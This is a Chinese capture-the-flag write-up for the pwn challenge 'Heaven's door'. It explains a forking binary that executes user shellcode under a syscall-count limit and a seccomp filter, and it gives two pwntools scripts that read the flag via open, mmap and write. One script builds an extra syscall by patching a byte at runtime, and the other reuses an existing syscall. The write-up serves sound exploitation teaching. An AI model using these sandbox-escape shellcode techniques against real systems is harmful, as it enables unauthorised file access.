2025 西湖论剑 Heaven’s door
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+0h] [rbp-10h]

  init(argc, argv, envp);
  v4 = fork();
  if ( v4 )
  {
    printf("puchid: %d\n", v4);
    mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);
    read(0, (void *)0x10000, 0xC3uLL);
    if ( (int)count_syscall_instructions(0x10000LL, 4096LL) > 2 )
      exit(-1);
    sandbox();
    MEMORY[0x10000]();
    return 0;
  }
  else
  {
    made_in_heaven();
    puts("The time is Accelerating");
    puts("MADE IN HEAVEN !!!!!!!!!!!!!!!!");
    return 0;
  }
}

沙箱题。

需要稍微了解一下 fork 的逻辑。fork 创造一个子进程,如果当前进程为子进程则返回 0,父进程则返回子进程的进程号。有趣的是父进程和子进程是一个“共存”的状态,比如下面这段 demo :

#include <unistd.h>
#include <stdio.h> 
int main () 
{ 
    pid_t fpid; //fpid表示fork函数返回的值
    int count=0;
    fpid=fork(); 
    if (fpid < 0) 
        printf("error in fork!"); 
    else if (fpid == 0) {
        printf("i am the child process, my process id is %d\n",getpid()); 
        printf("我是爹的儿子\n");
        count++;
    }
    else {
        printf("i am the parent process, my process id is %d\n",getpid()); 
        printf("我是孩子他爹\n");
        count++;
        printf("%d", fpid);
    }
    printf("统计结果是: %d\n",count);
    return 0;
}

将会输出:

i am the parent process, my process id is 1771
我是孩子他爹
1772统计结果是: 1
i am the child process, my process id is 1772
我是爹的儿子
统计结果是: 1

回到题目,前一个分支里的内容是父进程运行的,而后一个则是子进程运行的。

void made_in_heaven()
{
  unsigned int v0; // eax
  int i; // [rsp+8h] [rbp-8h]

  for ( i = 0; i <= 13; ++i )
  {
    v0 = time(0LL);
    srand(v0);
    rand();
    puts((&sacredMysteries)[i % 14]);
    sleep(1u);
  }
}

这个函数输出了一些内容,与解题没有什么关系,所以可以不用管子进程里的事情。

程序分配了一块内存:

mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);

几个参数:

0x10000,起始地址。

0x1000uLL,大小,字节数。

7,保护标志,表示映射内存的访问权限。7表示PROT_READ | PROT_WRITE | PROT_EXEC,即可读、可写、可执行。

50,映射标志,50表示MAP_PRIVATE | MAP_ANONYMOUSMAP_PRIVATE表示创建一个私有的映射,MAP_ANONYMOUS表示映射不与任何文件关联。

-1,文件描述符,-1表示不与任何文件关联,因为使用了MAP_ANONYMOUS标志。

0,偏移量,表示从文件的哪个位置开始映射。由于不与文件关联,这里为0

read(0, (void *)0x10000, 0xC3uLL);

向刚刚分配的内存中读入 0xC3 大小的内容。

if ( (int)count_syscall_instructions(0x10000LL, 4096LL) > 2 )
      exit(-1);
__int64 __fastcall count_syscall_instructions(__int64 a1, __int64 a2)
{
  unsigned int v3; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 i; // [rsp+20h] [rbp-10h]

  v3 = 0;
  for ( i = 0LL; i < a2 - 1; ++i )
  {
    if ( *(_BYTE *)(a1 + i) == 0xf && *(_BYTE *)(i + 1 + a1) == 5 )
      ++v3;
  }
  return v3;
}

count_syscall_instructions 函数用来计算你输入的命令中系统调用的个数(在 x86_64 上 syscall 的机器码是 0xf 0x5),这里限制最多只能写两个 syscall .

后面进入一个沙箱:

__int64 sandbox()
{
  ......
  ......
  if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
  {
    perror("prctl(NO_NEW_PRIVS)");
    return 0xFFFFFFFFLL;
  }
  else if ( prctl(22, 2LL, &v1) )
  {
    perror("prctl(SECCOMP)");
    return 0xFFFFFFFFLL;
  }
  else
  {
    return 0LL;
  }
}

设置 NO_NEW_PRIVS 标志,该进程不再会获得新的权限;

启用 SECCOMP 模式,限制进程可以执行的系统调用。

可以通过 seccomp-tools 查看限制了哪些系统调用:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x35 0x0a 0x00 0x40000000  if (A >= 0x40000000) goto 0012
 0002: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0013
 0003: 0x15 0x09 0x00 0x00000001  if (A == write) goto 0013
 0004: 0x15 0x08 0x00 0x00000002  if (A == open) goto 0013
 0005: 0x15 0x07 0x00 0x00000004  if (A == stat) goto 0013
 0006: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0013
 0007: 0x15 0x05 0x00 0x00000006  if (A == lstat) goto 0013
 0008: 0x15 0x04 0x00 0x00000007  if (A == poll) goto 0013
 0009: 0x15 0x03 0x00 0x00000008  if (A == lseek) goto 0013
 0010: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0013
 0011: 0x15 0x01 0x00 0x0000000a  if (A == mprotect) goto 0013
 0012: 0x06 0x00 0x00 0x00000000  return KILL
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW

这是一道非常典型的 ORW 题,也就是 Open-Read-Write. 虽然这里不能用 read,但可以将 flag 文件内容通过 mmap 映射到进程,再调用 write 输出 flag 内容。限制在于 shellcode 里面只能出现两个 syscall,所以需要想办法绕过这个限制:

法一:手动构造 0xf 0x5 实现 syscall

from pwn import *

io = process('./pwn')
# io = remote("0.0.0.0", 8888)

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

gdb.attach(io, 'b *0x10000')


sc  = shellcraft.open("/flag")
sc += shellcraft.mmap(0xdead000, 0x1000, 1, 2, 3, 0)
sc += shellcraft.write(1, 0xdead000, 0x40)
print(asm(sc))
pad = asm('''
    mov byte ptr[0x1006b], 0x5
''')
shellcode = pad + asm(sc)[:-1]
print(shellcode)

io.send(shellcode)

io.interactive()

法二:反复利用之前的 syscall,0x10023 里面恰好是一次 syscall,我们只需要 call 到那个位置就可以了。

from pwn import *

io = process('./pwn')
# io = remote("0.0.0.0", 8888)

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

gdb.attach(io, 'b *0x10000')

shellcode =  shellcraft.open('/flag') + \
    shellcraft.mmap(0, 0x1000, 'PROT_READ', 'MAP_SHARED', 'rax', 0) + \
    '''
    mov rdi, 1;
    mov rsi, rax;
    mov rdx, 50;
    mov eax, 1;
    mov rbx, 0x10023
    call rbx
    '''
print(shellcode)
print(asm(shellcode))

io.send(asm(shellcode))

io.interactive()

二编:这题是个小丑题,看似开了沙箱白名单实际上屁用没有,用最朴实无华的 shellcode 一把梭都能过……

上一篇
下一篇